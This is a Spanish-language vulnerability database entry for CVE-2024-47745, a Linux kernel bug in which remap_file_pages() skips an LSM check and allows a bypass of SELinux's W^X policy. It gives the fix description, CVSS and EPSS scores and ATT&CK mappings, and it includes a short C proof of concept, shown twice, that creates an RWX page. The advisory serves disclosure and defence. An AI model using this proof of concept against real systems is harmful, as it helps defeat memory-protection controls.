CVE-2024-47745

Estado: ModificadaAlta (7.8)—

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

Leer descripción completaMostrar menos

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

Detalles técnicos trazas, registros y código del informe original

int main(void) {
	size_t pagesz = sysconf(_SC_PAGE_SIZE);
	int mfd = syscall(SYS_memfd_create, "test", 0);
	const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
		MAP_SHARED, mfd, 0);
	unsigned int old = syscall(SYS_personality, 0xffffffff);
	syscall(SYS_personality, READ_IMPLIES_EXEC | old);
	syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
	syscall(SYS_personality, old);
	// show the RWX page exists even if W^X policy is enforced
	int fd = open("/proc/self/maps", O_RDONLY);
	unsigned char buf2[1024];
	while (1) {
		int ret = read(fd, buf2, 1024);
		if (ret <= 0) break;
		write(1, buf2, ret);
	}
	close(fd);
}

CVSS

Versión: 3.1
Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Puntuación base: 7.8

Probabilidad de explotación (EPSS)

Probabilidad de explotación en los próximos 30 días: 0.29%
Percentil entre todas las CVEs puntuadas: 19
Fecha de la puntuación: 6/10/2026

EPSS (Exploit Prediction Scoring System, de FIRST) estima la probabilidad de que una vulnerabilidad sea explotada en 30 días. Complementa a CVSS (impacto) y a CISA KEV (explotación confirmada).

🎯 Técnicas ATT&CK

Cómo se explota esta vulnerabilidad y qué consigue el atacante, en el lenguaje de MITRE ATT&CK.

ExplotaciónT1068 Exploitation for Privilege Escalationprivilege escalation95 %
Impacto principalT1548 Abuse Elevation Control Mechanismprivilege escalation85 %
Impacto secundarioT1055 Process Injectionstealth · privilege escalation75 %

Vulnerabilidad local (AV:L, PR:L) que permite escalada de privilegios bypass de W^X mediante remap_file_pages() eludiendo LSM security_mmap_file(), permitiendo crear páginas RWX y ejecutar código no autorizado con privilegios elevados.

Inferido por nuestro agente de análisis a partir de la descripción oficial, el vector CVSS y la CWE, y comprobado por un supervisor. Puede contener errores.

🛡️ Mitigaciones ATT&CK que cubren estas técnicas

Privileged Account Management Execution Prevention Update Software User Account Management Threat Intelligence Program Restrict File and Directory Permissions

Tecnologías afectadas (2)

Debian — Debian Linux Linux — Linux Kernel

CWE

CWE-670

Referencias

JSON original (NVD)

Mostrar

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      "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn't contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat > test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret <= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]"
    },
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      "lang": "es",
      "value": "En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: mm: llamar al gancho LSM security_mmap_file() en remap_file_pages() El controlador de llamadas al sistema remap_file_pages llama a do_mmap() directamente, que no contiene la comprobación de seguridad LSM. Y si el proceso ha llamado a personality(READ_IMPLIES_EXEC) antes y se llama a remap_file_pages() para páginas RW, esto realmente dará como resultado la reasignación de las páginas a RWX, omitiendo una política W^X aplicada por SELinux. Por lo tanto, deberíamos comprobar prot mediante el gancho LSM security_mmap_file en el controlador de llamadas al sistema remap_file_pages antes de que se llame a do_mmap(). De lo contrario, potencialmente permite que un atacante omita una política W^X aplicada por SELinux. La omisión es similar a CVE-2016-10044, que omite lo mismo a través de AIO y se puede encontrar en [1]. La PoC: $ cat &gt; test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, \"test\", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // muestra que la página RWX existe incluso si se aplica la política W^X int fd = open(\"/proc/self/maps\", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret &lt;= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (eliminado) [MP: ajustes en la línea de asunto]"
    }
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  "lastModified": "2026-08-04T11:20:47.560",
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